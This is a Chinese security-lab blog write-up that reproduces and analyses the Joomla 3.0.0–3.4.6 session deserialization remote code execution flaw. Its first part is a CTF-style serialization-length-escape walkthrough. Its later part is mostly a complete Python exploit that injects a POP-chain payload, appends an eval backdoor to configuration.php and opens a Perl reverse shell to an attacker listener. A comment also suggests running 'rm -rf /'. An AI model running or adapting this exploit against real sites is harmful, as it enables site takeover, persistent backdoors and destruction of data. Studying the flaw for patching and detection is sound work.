Joomla 3.4.6 RCE复现及分析

出品｜MS08067实验室（www.ms08067.com)

本文作者：whojoe(MS08067安全实验室SRST TEAM成员)

前言

前几天看了下PHP 反序列化字符逃逸学习，有大佬简化了一下joomla3.4.6rce的代码，今天来自己分析学习一下。

环境搭建

Joomla 3.4.6 : https://downloads.joomla.org/it/cms/joomla3/3-4-6

php ：5.4.45nts（不支持php7）

影响版本: 3.0.0 --- 3.4.6

漏洞利用: https://github.com/SecurityCN/Vulnerability-analysis/tree/master/Joomla

(https://github.com/SecurityCN/Vulnerability-analysis/tree/master/Joomla)

要求PHP Version >= 5.3.10

反序列化长度扩展分析

CTF-2016-piapiapia中的利用代码

这里就直接从大佬那里把代码拿来了

index.php

<?php

  require_once('class.php');

  if(isset($_SESSION['username'])) {

    header('Location: profile.php');

    exit;

  }

  if(isset($_POST["username"]) && isset($_POST["password"])) {

    $username = $_POST['username'];

    $password = $_POST['password'];

    if(strlen($username) < 3 or strlen($username) > 16)

      die('Invalid user name');

    if(strlen($password) < 3 or strlen($password) > 16)

      die('Invalid password');

    if($user->login($username, $password)) {

      $_SESSION['username'] = $username;

      header('Location: profile.php');

      exit;

    }

    else {

      die('Invalid user name or password');

    }

  }

  else {

echo '

<!DOCTYPE html>

<html>

<head>

   <title>Login</title>

   <link href="static/bootstrap.min.css" rel="stylesheet">

   <script src="static/jquery.min.js"></script>

   <script src="static/bootstrap.min.js"></script>

</head>

<body>

  <div class="container" style="margin-top:100px">

    <form action="index.php" method="post" class="well" style="width:220px;margin:0px auto;">

      <img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">

      <h3>Login</h3>

      <label>Username:</label>

      <input type="text" name="username" style="height:30px"class="span3"/>

      <label>Password:</label>

      <input type="password" name="password" style="height:30px" class="span3">

      <button type="submit" class="btn btn-primary">LOGIN</button>

    </form>

  </div>

</body>

</html>';

  }

?>

profile.php

<?php

  require_once('class.php');

  if($_SESSION['username'] == null) {

    die('Login First');

  }

  $username = $_SESSION['username'];

  $profile=$user->show_profile($username);

  if($profile  == null) {

    header('Location: update.php');

  }

  else {

    $profile = unserialize($profile);

    $phone = $profile['phone'];

    $email = $profile['email'];

    $nickname = $profile['nickname'];

    $photo = base64_encode(file_get_contents($profile['photo']));

?>

<!DOCTYPE html>

<html>

<head>

   <title>Profile</title>

   <link href="static/bootstrap.min.css" rel="stylesheet">

   <script src="static/jquery.min.js"></script>

   <script src="static/bootstrap.min.js"></script>

</head>

<body>

  <div class="container" style="margin-top:100px">

    <img src="data:image/gif;base64,<?php echo $photo; ?>" class="img-memeda " style="width:180px;margin:0px auto;">

    <h3>Hi <?php echo $nickname;?></h3>

    <label>Phone: <?php echo $phone;?></label>

    <label>Email: <?php echo $email;?></label>

  </div>

</body>

</html>

<?php

  }

?>

<?php

  require_once('class.php');

  if(isset($_POST['username']) && isset($_POST['password'])) {

    $username = $_POST['username'];

    $password = $_POST['password'];

    if(strlen($username) < 3 or strlen($username) > 16)

      die('Invalid user name');

    if(strlen($password) < 3 or strlen($password) > 16)

      die('Invalid password');

    if(!$user->is_exists($username)) {

      $user->register($username, $password);

      echo 'Register OK!<a href="index.php">Please Login</a>';

    }

    else {

      die('User name Already Exists');

    }

  }

  else {

?>

<!DOCTYPE html>

<html>

<head>

   <title>Login</title>

   <link href="static/bootstrap.min.css" rel="stylesheet">

   <script src="static/jquery.min.js"></script>

   <script src="static/bootstrap.min.js"></script>

</head>

<body>

  <div class="container" style="margin-top:100px">

    <form action="register.php" method="post" class="well" style="width:220px;margin:0px auto;">

      <img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">

      <h3>Register</h3>

      <label>Username:</label>

      <input type="text" name="username" style="height:30px"class="span3"/>

      <label>Password:</label>

      <input type="password" name="password" style="height:30px" class="span3">

      <button type="submit" class="btn btn-primary">REGISTER</button>

    </form>

  </div>

</body>

</html>

<?php

  }

?>

update.php

<?php

  require_once('class.php');

  if($_SESSION['username'] == null) {

    die('Login First');

  }

  if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {

    $username = $_SESSION['username'];

    if(!preg_match('/^\d{11}$/', $_POST['phone']))

      die('Invalid phone');

    if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))

      die('Invalid email');

    if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)

      die('Invalid nickname');

    $file = $_FILES['photo'];

    if($file['size'] < 5 or $file['size'] > 1000000)

      die('Photo size error');

    move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));

    $profile['phone'] = $_POST['phone'];

    $profile['email'] = $_POST['email'];

    $profile['nickname'] = $_POST['nickname'];

    $profile['photo'] = 'upload/' . md5($file['name']);

    $user->update_profile($username, serialize($profile));

    echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';

  }

  else {

?>

<!DOCTYPE html>

<html>

<head>

   <title>UPDATE</title>

   <link href="static/bootstrap.min.css" rel="stylesheet">

   <script src="static/jquery.min.js"></script>

   <script src="static/bootstrap.min.js"></script>

</head>

<body>

  <div class="container" style="margin-top:100px">

    <form action="update.php" method="post" enctype="multipart/form-data" class="well" style="width:220px;margin:0px auto;">

      <img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">

      <h3>Please Update Your Profile</h3>

      <label>Phone:</label>

      <input type="text" name="phone" style="height:30px"class="span3"/>

      <label>Email:</label>

      <input type="text" name="email" style="height:30px"class="span3"/>

      <label>Nickname:</label>

      <input type="text" name="nickname" style="height:30px" class="span3">

      <label for="file">Photo:</label>

      <input type="file" name="photo" style="height:30px"class="span3"/>

      <button type="submit" class="btn btn-primary">UPDATE</button>

    </form>

  </div>

</body>

</html>

<?php

  }

?>

class.php



<?php

require('config.php');

class user extends mysql{

  private $table = 'users';

  public function is_exists($username) {

    $username = parent::filter($username);

    $where = "username = '$username'";

    return parent::select($this->table, $where);

  }

  public function register($username, $password) {

    $username = parent::filter($username);

    $password = parent::filter($password);

    $key_list = Array('username', 'password');

    $value_list = Array($username, md5($password));

    return parent::insert($this->table, $key_list, $value_list);

  }

  public function login($username, $password) {

    $username = parent::filter($username);

    $password = parent::filter($password);

    $where = "username = '$username'";

    $object = parent::select($this->table, $where);

    if ($object && $object->password === md5($password)) {

      return true;

    } else {

      return false;

    }

  }

  public function show_profile($username) {

    $username = parent::filter($username);

    $where = "username = '$username'";

    $object = parent::select($this->table, $where);

    return $object->profile;

  }

  public function update_profile($username, $new_profile) {

    $username = parent::filter($username);

    $new_profile = parent::filter($new_profile);

    $where = "username = '$username'";

    return parent::update($this->table, 'profile', $new_profile, $where);

  }

  public function __tostring() {

    return __class__;

  }

}

class mysql {

  private $link = null;

  public function connect($config) {

    $this->link = mysql_connect(

      $config['hostname'],

      $config['username'],

      $config['password']

    );

    mysql_select_db($config['database']);

    mysql_query("SET sql_mode='strict_all_tables'");

    return $this->link;

  }

  public function select($table, $where, $ret = '*') {

    $sql = "SELECT $ret FROM $table WHERE $where";

    $result = mysql_query($sql, $this->link);

    return mysql_fetch_object($result);

  }

  public function insert($table, $key_list, $value_list) {

    $key = implode(',', $key_list);

    $value = '\'' . implode('\',\'', $value_list) . '\'';

    $sql = "INSERT INTO $table ($key) VALUES ($value)";

    return mysql_query($sql);

  }

  public function update($table, $key, $value, $where) {

    $sql = "UPDATE $table SET $key = '$value' WHERE $where";

    return mysql_query($sql);

  }

  public function filter($string) {

    $escape = array('\'', '\\\\');

    $escape = '/' . implode('|', $escape) . '/';

    $string = preg_replace($escape, '_', $string);

    $safe = array('select', 'insert', 'update', 'delete', 'where');

    $safe = '/' . implode('|', $safe) . '/i';

    return preg_replace($safe, 'hacker', $string);

  }

  public function __tostring() {

    return __class__;

  }

}

session_start();

$user = new user();

$user->connect($config);

config.php

<?php

  $config['hostname'] = '127.0.0.1';

  $config['username'] = 'root';

  $config['password'] = 'root';

  $config['database'] = 'test';

  $flag = '121312131';

?>

分析

index.php是登录界面（没啥用）

profile.php是读取文件的（划重点）

register.php是注册的（没啥用）

update.php是更新信息（划重点）

class.php是核心代码（划重点）

config.php flag在里面

在profile.php中可以读取文件，并且上面有反序列化操作，在update.php文件上传没有做任何过滤，但是估计实际环境会限制代码执行，在class.php中有序列化操作，并且对字符串进行了替换，由于没有对传入的单引号进行过滤，所以是存在sql注入的，但是没什么用，数据库中的所有东西都是我们可控的，所以重点就在了序列化和反序列化还有字符串长度替换上，看下过滤代码

  public function filter($string) {

    $escape = array('\'', '\\\\');

    $escape = '/' . implode('|', $escape) . '/';

    $string = preg_replace($escape, '_', $string);

    $safe = array('select', 'insert', 'update', 'delete', 'where');

    $safe = '/' . implode('|', $safe) . '/i';

    return preg_replace($safe, 'hacker', $string);

  }

可以看到长度唯一改变的就是where，那么我们上传一个文件看一下

a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:13:"123123@qq.com";s:8:"nickname";s:5:"joezk";s:5:"photo";s:39:"upload/d421244c920e11775c1d1711a1a11da0";}

这里面的photo是我们想要控制的，那么我们就需要控制nickname字段加上长度的替换来实现任意文件读取，但是nickname长度被限制

if(!preg_match('/^\d{11}$/', $_POST['phone']))

      die('Invalid phone');

    if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))

      die('Invalid email');

    if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)

      die('Invalid nickname');

    $file = $_FILES['photo'];

    if($file['size'] < 5 or $file['size'] > 1000000)

      die('Photo size error');

这里可以使用数组绕过，那么我们就传一下数组来看一下

a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:13:"123123@qq.com";s:8:"nickname";a:1:{i:0;s:5:"joezk";}s:5:"photo";s:39:"upload/d421244c920e11775c1d1711a1a11da0";}

发现里面的结构发生了改变，所以我们就要考虑如何构造，因为后面的s:5:"photo";s:39:"upload/d421244c920e11775c1d1711a1a11da0";}是没用的，所以这一部分就被丢弃了，为了保证还有photo字段，就要把字符串进行扩充，结合前面的正则替换，where变成hacker，增加了一个长度，所以我们的最终序列化之后的应该是这种格式的

a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:13:"123123@qq.com";s:8:"nickname";a:1:{i:0;s:5:"where";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/d421244c920e11775c1d1711a1a11da0";}

其中的where";}s:5:"photo";s:10:"config.php";}是我们要发送过去的nickname

";}s:5:"photo";s:10:"config.php";}长度为34，那么我们就需要把这34位给挤出去，才能保证这个是可以反序列化的，为了把这34位挤出去，就需要34个where来填充，经过正则匹配后，就会变成34个hacker长度就增加了34位，即可满足我们的要求

即nickname为wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

发送数据包

POST /fff/update.php HTTP/1.1

Host: 192.168.164.138

Content-Length: 1405

Cache-Control: max-age=0

Origin: http://192.168.164.138

Upgrade-Insecure-Requests: 1

DNT: 1

Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjxnZAvhPqkTxgKar

User-Agent: Opera/9.80 (Windows NT 6.0) Presto/2.12.388 Version/12.14

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3

Referer: http://192.168.164.138/fff/update.php

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: PHPSESSID=rdfs2saq7tgjqa3p224g33cg16

Connection: close

------WebKitFormBoundaryjxnZAvhPqkTxgKar

Content-Disposition: form-data; name="phone"

12345678901

------WebKitFormBoundaryjxnZAvhPqkTxgKar

Content-Disposition: form-data; name="email"

123123@qq.com

------WebKitFormBoundaryjxnZAvhPqkTxgKar

Content-Disposition: form-data; name="nickname[]"

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

------WebKitFormBoundaryjxnZAvhPqkTxgKar

Content-Disposition: form-data; name="photo"; filename="QQ截图20200428221719.jpg"

Content-Type: image/jpeg

11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111

------WebKitFormBoundaryjxnZAvhPqkTxgKar--

查看数据库中结果

a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:13:"123123@qq.com";s:8:"nickname";a:1:{i:0;s:204:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/d421244c920e11775c1d1711a1a11da0";}

打开profile.php即可查看结果

经过base64解密

joomla中的利用

代码是从大佬那里哪来的，具体如下

<?php

class evil{

    public $cmd;

    public function __construct($cmd){

        $this->cmd = $cmd;

    }

    public function __destruct(){

        system($this->cmd);

    }

}

class User

{

    public $username;

    public $password;

    public function __construct($username, $password){

        $this->username = $username;

        $this->password = $password;

    }

}

function write($data){

    $data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data);

    file_put_contents("dbs.txt", $data);

}

function read(){

    $data = file_get_contents("dbs.txt");

    $r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data);

    return $r;

}

if(file_exists("dbs.txt")){

    unlink("dbs.txt");

}

$username = "peri0d";

$password = "1234";

write(serialize(new User($username, $password)));

var_dump(unserialize(read()));

username和password我们是可控的

大概的利用链就是通过反序列化来调用evil函数执行我们要执行的命令

<?php

class evil{

    public $cmd;

    public function __construct($cmd){

        $this->cmd = $cmd;

    }

    public function __destruct(){

        system($this->cmd);

    }

}

class User

{

    public $username;

    public $password;

    public $ts;

    public function __construct($username, $password){

        $this->username = $username;

        $this->password = $password;

    }

}

$username = "peri0d";

$password = "1234";

$r = new User($username, $password);

$r->ts = new evil('whoami');

echo serialize($r);

//O:4:"User":3:{s:8:"username";s:6:"peri0d";s:8:"password";s:4:"1234";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}

看以前前面的过滤，如果传入chr(0).'*'.chr(0)是没什么用的，但是如果传入\0\0\0，就可以对序列化的字符串长度进行缩短，我们刚才的payload需要进行修改才可以用，首先，正常经过序列化的只有两个参数，而我们构造的有三个，正好结合前面的长度缩短删除掉一个参数即可实现，所以最终的payload应该是这样的。



<?php

class evil{

    public $cmd;

    public function __construct($cmd){

        $this->cmd = $cmd;

    }

    public function __destruct(){

        system($this->cmd);

    }

}

class User

{

    public $username;

    public $password;

    public $ts;

    public function __construct($username, $password){

        $this->username = $username;

        $this->password = $password;

    }

}

$aa='O:4:"User":2:{s:8:"username";s:6:"peri0d";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}';

unserialize($aa);

我们来对比一下序列化之后的字符串

O:4:"User":3:{s:8:"username";s:6:"peri0d";s:8:"password";s:4:"1234";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}

O:4:"User":2:{s:8:"username";s:6:"peri0d";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}

可以看出两个不同的就是

peri0d";s:8:"password";s:4:"1234

目的就是要把利用长度缩减把password字段给包括到username字段里，这一部分，他的长度是32要去掉

这里面我们的payload是

s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}

长度为47

我们只能控制两个参数就是username和password，我们为了保证password字段被username吃掉而且还要保证payload能够被利用，payload就要放在password字段中传入，通过username字段进行缩减从而达到目标，有了思路，就开始构造。

$username = "peri0d";

$password = '123456";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}';

echo serialize(new User($username, $password));

//O:4:"User":2:{s:8:"username";s:6:"peri0d";s:8:"password";s:55:"12345";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}";}

这里我们需要删除的是

";s:8:"password";s:55:"123455

他的长度是28

在正则中

str_replace('\0\0\0', chr(0).'*'.chr(0), $data);

我们每次只能删除的长度是3，所以字符串长度应该是3的倍数，那么就把长度减一，变成27即可，需要9个\0\0\0

$username = "peri0d\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0";

$password = '1234";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}';

echo serialize(new User($username, $password));

//O:4:"User":2:{s:8:"username";s:60:"peri0d\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";s:8:"password";s:54:"1234";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}";}

执行一下

$username = "peri0d\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0";

$password = '1234";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}';

write(serialize(new User($username, $password)));

var_dump(unserialize(read()));

可以看到我们的payload已经执行了。

漏洞复现

下载poc之后安装需要的包，运行exp

菜刀按上面的网址和密码链接

查看configuration.php发现已经写入一句话

exp分析



#!/usr/bin/env python3

import requests

from bs4 import BeautifulSoup

import sys

import string

import random

import argparse

from termcolor import colored

PROXS = {'http':'127.0.0.1:8080'}

#PROXS = {}

def random_string(stringLength):

        letters = string.ascii_lowercase

        return ''.join(random.choice(letters) for i in range(stringLength))

backdoor_param = random_string(50)

def print_info(str):

        print(colored("[*] " + str,"cyan"))

def print_ok(str):

        print(colored("[+] "+ str,"green"))

def print_error(str):

        print(colored("[-] "+ str,"red"))

def print_warning(str):

        print(colored("[!!] " + str,"yellow"))

def get_token(url, cook):

        token = ''

        resp = requests.get(url, cookies=cook, proxies = PROXS)

        html = BeautifulSoup(resp.text,'html.parser')

        # csrf token is the last input

        for v in html.find_all('input'):

                csrf = v

        csrf = csrf.get('name')

        return csrf

def get_error(url, cook):

        resp = requests.get(url, cookies = cook, proxies = PROXS)

        if 'Failed to decode session object' in resp.text:

                #print(resp.text)

                return False

        #print(resp.text)

        return True

def get_cook(url):

        resp = requests.get(url, proxies=PROXS)

        #print(resp.cookies)

        return resp.cookies

def gen_pay(function, command):

        # Generate the payload for call_user_func('FUNCTION','COMMAND')

        template = 's:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\\0\\0\\0a";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";s:10:"javascript";i:9999;s:8:"feed_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";i:1;}'

        #payload =  command + ' || $a=\'http://wtf\';'

        payload =  'http://l4m3rz.l337/;' + command

        # Following payload will append an eval() at the enabled of the configuration file

        #payload =  'file_put_contents(\'configuration.php\',\'if(isset($_POST[\\\'test\\\'])) eval($_POST[\\\'test\\\']);\', FILE_APPEND) || $a=\'http://wtf\';'

        function_len = len(function)

        final = template.replace('PAYLOAD',payload).replace('LENGTH', str(len(payload))).replace('FUNC_NAME', function).replace('FUNC_LEN', str(len(function)))

        return final

def make_req(url , object_payload):

        # just make a req with object

        print_info('Getting Session Cookie ..')

        cook = get_cook(url)

        print_info('Getting CSRF Token ..')

        csrf = get_token( url, cook)

        user_payload = '\\0\\0\\0' * 9

        padding = 'AAA' # It will land at this padding

        working_test_obj = 's:1:"A":O:18:"PHPObjectInjection":1:{s:6:"inject";s:10:"phpinfo();";}'

        clean_object = 'A";s:5:"field";s:10:"AAAAABBBBB' # working good without bad effects

        inj_object = '";'

        inj_object += object_payload

        inj_object += 's:6:"return";s:102:' # end the object with the 'return' part

        password_payload = padding + inj_object

        params = {

            'username': user_payload,

            'password': password_payload,

            'option':'com_users',

            'task':'user.login',

            csrf :'1'

            }

        print_info('Sending request ..')

        resp  = requests.post(url, proxies = PROXS, cookies = cook,data=params)

        return resp.text

def get_backdoor_pay():

        # This payload will backdoor the the configuration .PHP with an eval on POST request

        function = 'assert'

        template = 's:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\\0\\0\\0a";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";s:10:"javascript";i:9999;s:8:"feed_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";i:1;}'

        # payload =  command + ' || $a=\'http://wtf\';'

        # Following payload will append an eval() at the enabled of the configuration file

        payload =  'file_put_contents(\'configuration.php\',\'if(isset($_POST[\\\'' + backdoor_param +'\\\'])) eval($_POST[\\\''+backdoor_param+'\\\']);\', FILE_APPEND) || $a=\'http://wtf\';'

        function_len = len(function)

        final = template.replace('PAYLOAD',payload).replace('LENGTH', str(len(payload))).replace('FUNC_NAME', function).replace('FUNC_LEN', str(len(function)))

        return final

def check(url):

        check_string = random_string(20)

        target_url = url + 'index.php/component/users'

        html = make_req(url, gen_pay('print_r',check_string))

        if check_string in html:

                return True

        else:

                return False

def ping_backdoor(url,param_name):

        res = requests.post(url + '/configuration.php', data={param_name:'echo \'PWNED\';'}, proxies = PROXS)

        if 'PWNED' in res.text:

                return True

        return False

def execute_backdoor(url, payload_code):

        # Execute PHP code from the backdoor

        res = requests.post(url + '/configuration.php', data={backdoor_param:payload_code}, proxies = PROXS)

        print(res.text)

def exploit(url, lhost, lport):

        # Exploit the target

        # Default exploitation will append en eval function at the end of the configuration.pphp

        # as a bacdoor. btq if you do not want this use the funcction get_pay('php_function','parameters')

        # e.g. get_payload('system','rm -rf /')

        # First check that the backdoor has not been already implanted

        target_url = url + 'index.php/component/users'

        make_req(target_url, get_backdoor_pay())

        if ping_backdoor(url, backdoor_param):

                print_ok('Backdoor implanted, eval your code at ' + url + '/configuration.php in a POST with ' + backdoor_param)

                print_info('Now it\'s time to reverse, trying with a system + perl')

                execute_backdoor(url, 'system(\'perl -e \\\'use Socket;$i="'+ lhost +'";$p='+ str(lport) +';socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\\\'\');')

if __name__ == '__main__':

        parser = argparse.ArgumentParser()

        parser.add_argument('-t','--target',required=True,help='Joomla Target')

        parser.add_argument('-c','--check', default=False, action='store_true', required=False,help='Check only')

        parser.add_argument('-e','--exploit',default=False,action='store_true',help='Check and exploit')

        parser.add_argument('-l','--lhost', required='--exploit' in sys.argv, help='Listener IP')

        parser.add_argument('-p','--lport', required='--exploit' in sys.argv, help='Listener port')

        args = vars(parser.parse_args())

        url = args['target']

        if(check(url)):

                print_ok('Vulnerable')

                if args['exploit']:

                        exploit(url, args['lhost'], args['lport'])

                else:

                        print_info('Use --exploit to exploit it')

        else:

                print_error('Seems NOT Vulnerable ;/')

在第一行已经定义了代理

PROXS = {'http':'127.0.0.1:8080'}

获取cookie

def get_cook(url):

        resp = requests.get(url, proxies=PROXS)

        #print(resp.cookies)

        return resp.cookies

获取csrf token

def get_token(url, cook):

        token = ''

        resp = requests.get(url, cookies=cook, proxies = PROXS)

        html = BeautifulSoup(resp.text,'html.parser')

        # csrf token is the last input

        for v in html.find_all('input'):

                csrf = v

        csrf = csrf.get('name')

        return csrf

验证漏洞存在，如果存在的话，执行exploit

从新获取cookie和token，写入一句话，检查一句话是否存在，之后通过一句话执行反弹shell操作



def execute_backdoor(url, payload_code):

        # Execute PHP code from the backdoor

        res = requests.post(url + '/configuration.php', data={backdoor_param:payload_code}, proxies = PROXS)

        print(res.text)

def exploit(url, lhost, lport):

        # Exploit the target

        # Default exploitation will append en eval function at the end of the configuration.pphp

        # as a bacdoor. btq if you do not want this use the funcction get_pay('php_function','parameters')

        # e.g. get_payload('system','rm -rf /')

        # First check that the backdoor has not been already implanted

        target_url = url + 'index.php/component/users'

        make_req(target_url, get_backdoor_pay())

        if ping_backdoor(url, backdoor_param):

                print_ok('Backdoor implanted, eval your code at ' + url + '/configuration.php in a POST with ' + backdoor_param)

                print_info('Now it\'s time to reverse, trying with a system + perl')

                execute_backdoor(url, 'system(\'perl -e \\\'use Socket;$i="'+ lhost +'";$p='+ str(lport) +';socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\\\'\');')

这里跟踪一下写入一句话，漏洞点存在于libraries/joomla/session/storage/database.php中于是我们在这里下断点查看一下

public function read($id)

{

    // Get the database connection object and verify its connected.

    $db = JFactory::getDbo();

    try

    {

      // Get the session data from the database table.

      $query = $db->getQuery(true)

        ->select($db->quoteName('data'))

      ->from($db->quoteName('#__session'))

      ->where($db->quoteName('session_id') . ' = ' . $db->quote($id));

      $db->setQuery($query);

      $result = (string) $db->loadResult();

      $result = str_replace('\0\0\0', chr(0) . '*' . chr(0), $result);

      return $result;

    }

    catch (Exception $e)

    {

      return false;

    }

  }

  /**

   * Write session data to the SessionHandler backend.

   *

   * @param   string  $id    The session identifier.

   * @param   string  $data  The session data.

   *

   * @return  boolean  True on success, false otherwise.

   *

   * @since   11.1

   */

  public function write($id, $data)

{

    // Get the database connection object and verify its connected.

    $db = JFactory::getDbo();

    $data = str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);

    try

    {

      $query = $db->getQuery(true)

        ->update($db->quoteName('#__session'))

        ->set($db->quoteName('data') . ' = ' . $db->quote($data))

        ->set($db->quoteName('time') . ' = ' . $db->quote((int) time()))

        ->where($db->quoteName('session_id') . ' = ' . $db->quote($id));

      // Try to update the session data in the database table.

      $db->setQuery($query);

      if (!$db->execute())

      {

        return false;

      }

      /* Since $db->execute did not throw an exception, so the query was successful.

      Either the data changed, or the data was identical.

      In either case we are done.

      */

      return true;

    }

    catch (Exception $e)

    {

      return false;

    }

  }

看以前前面的过滤，如果传入chr(0).’*’.chr(0)是没什么用的，但是如果传入\0\0\0，就可以对序列化的字符串长度进行缩短，有了之前的分析，这里就会好理解许多,可以参考我的另一篇文章PHP 反序列化字符逃逸学习(https://blog.csdn.net/qq_43645782/article/details/105801796)

//数据库中的数据

__default|a:8:{s:15:"session.counter";i:3;s:19:"session.timer.start";i:1588261345;s:18:"session.timer.last";i:1588261347;s:17:"session.timer.now";i:1588261570;s:8:"registry";O:24:"Joomla\Registry\Registry":2:{s:7:"\0\0\0data";O:8:"stdClass":1:{s:5:"users";O:8:"stdClass":1:{s:5:"login";O:8:"stdClass":1:{s:4:"form";O:8:"stdClass":2:{s:4:"data";a:5:{s:6:"return";s:39:"index.php?option=com_users&view=profile";s:8:"username";s:54:"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";s:8:"password";s:603:"AAA";s:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:217:"file_put_contents('configuration.php','if(isset($_POST[\'mzysekpmmemmyrwlhdzratayojwpxsplcftezgsreidrattndu\'])) eval($_POST[\'mzysekpmmemmyrwlhdzratayojwpxsplcftezgsreidrattndu\']);', FILE_APPEND) || $a='http://wtf';";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}s:6:"return";s:102:";s:9:"secretkey";s:0:"";s:8:"remember";i:0;}s:6:"return";s:39:"index.php?option=com_users&view=profile";}}}}s:9:"separator";s:1:".";}s:4:"user";O:5:"JUser":26:{s:9:"\0\0\0isRoot";N;s:2:"id";i:0;s:4:"name";N;s:8:"username";N;s:5:"email";N;s:8:"password";N;s:14:"password_clear";s:0:"";s:5:"block";N;s:9:"sendEmail";i:0;s:12:"registerDate";N;s:13:"lastvisitDate";N;s:10:"activation";N;s:6:"params";N;s:6:"groups";a:1:{i:0;s:1:"9";}s:5:"guest";i:1;s:13:"lastResetTime";N;s:10:"resetCount";N;s:12:"requireReset";N;s:10:"\0\0\0_params";O:24:"Joomla\Registry\Registry":2:{s:7:"\0\0\0data";O:8:"stdClass":0:{}s:9:"separator";s:1:".";}s:14:"\0\0\0_authGroups";N;s:14:"\0\0\0_authLevels";a:3:{i:0;i:1;i:1;i:1;i:2;i:5;}s:15:"\0\0\0_authActions";N;s:12:"\0\0\0_errorMsg";N;s:13:"\0\0\0userHelper";O:18:"JUserWrapperHelper":0:{}s:10:"\0\0\0_errors";a:0:{}s:3:"aid";i:0;}s:13:"session.token";s:32:"878c42d725cd32dcc52aa2ca0c848ded";s:17:"application.queue"